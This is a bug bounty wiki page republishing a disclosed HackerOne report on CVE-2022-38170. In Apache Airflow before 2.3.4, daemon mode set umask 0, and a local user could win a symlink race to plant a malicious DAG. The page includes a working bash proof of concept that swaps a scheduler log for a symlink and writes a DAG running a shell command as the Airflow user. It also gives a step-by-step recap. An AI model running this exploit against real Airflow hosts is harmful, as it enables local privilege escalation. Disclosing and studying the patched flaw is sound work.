Skip to content
Race condition Disclosed report Intermediate CVE-2022-38170

Airflow Daemon Mode Insecure Umask Privilege Escalation

Airflow components running with the --daemon flag used an insecure umask of 0, making critical files and directories world-writable. A local user could exploit a race condition to replace a log file with a symlink, causing the scheduler to write attacker-controlled content into a DAG file, leading to arbitrary code execution as the Airflow user.

nyymi Follow

Originally disclosed on HackerOne

Bounty$2,400 Medium View original
  • Fixed in 15 days
  • Paid in 15 days
  • Disclosed after 15 days

Summary by the program

Description

In Apache Airflow prior to 2.3.4, an insecure umask was configured for numerous Airflow components when running with the --daemon flag which could result in a race condition giving world-writable files in the Airflow home directory and allowing local users to expose arbitrary file contents via the webserver.

http://www.openwall.com/lists/oss-security/2022/09/02/12 http://www.openwall.com/lists/oss-security/2022/09/02/3 https://lists.apache.org/thread/zn8mbbb1j2od5nc9zhrvb7rpsrg1vvzv

The report

Apache Airflow prior to 2.3.4 had multiple components with an insecure daemon umask of 0, resulting in critical files and directories to be world writable. As such, any local user can infer Airflow to process specially crafted input and ultimately perform a privilege escalation to user executing Airflow. In particular the scheduler component is exploitable.

This is CWE-277: Insecure Inherited Permissions

The vulnerability and fix was announced as https://www.openwall.com/lists/oss-security/2022/09/02/3

Proof of concept

The following attack works against the demo installation of Apache Airflow (when airflow scheduler is run with the --daemon flag):

#!/bin/bash
TARGET=/home/airflow
umask 0
cd $TARGET/logs/scheduler/latest/native_dags/example_dags
rm example_bash_operator.py.log
ln -s $TARGET/dags/poc.py example_bash_operator.py.log
until [ -f $TARGET/dags/poc.py ]
do
  sleep 1
done
rm example_bash_operator.py.log
(cat <<'EOF'
import os
os.system("id >>/tmp/pwned")
from airflow import DAG
EOF
) > $TARGET/dags/poc.py

The injected DAG payload (code execution) is triggered when the Airflow scheduler is restarted. This simple PoC performs a full arbitrary code execution, but other means of gaining control via custom DAGs exist as well.

Impact

Privilege escalation: loss of confidentiality, integrity and availability

The original report as published on HackerOne, by nyymi. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the daemon startup code set the process umask to 0, so files and directories created by Airflow became world-writable, allowing a local user to tamper with them.

Impact

A local user could escalate privileges to the Airflow user, leading to loss of confidentiality, integrity and availability.

What the attacker needed

Local access to the Airflow host; Airflow scheduler running with --daemon flag; Airflow version prior to 2.3.4

The fix

The vulnerability affected Airflow prior to 2.3.4; a fix was announced.

How it was found

  1. Set the umask to 0 and go to the scheduler log directory for example DAGs.
  2. Remove an existing log file and replace it with a symbolic link pointing to a DAG file.
  3. Wait until the DAG file appears (created by the scheduler following the symlink).
  4. Remove the symlink and write a malicious DAG file containing code execution.
  5. Restart the Airflow scheduler to trigger the injected DAG.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When a program creates files, it sets permissions that decide who can read or change them. Airflow, when started in the background (daemon mode), used a setting that made some files writable by anyone on the machine. A local attacker could then trick Airflow into writing a malicious script into a place where Airflow later runs it, giving the attacker the same powers as the Airflow user.

What is Race condition?

Parallel requests reach a state the code assumed could not happen: a coupon used twice, a limit overrun, a check skipped.

More by nyymi

View all

51 more disclosed reports, best first.

More from Internet Bug Bounty

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Race conditions

The lesson behind this report.

Parallel requests reach a state the code assumed could not happen: a coupon used twice, a limit overrun, a check skipped.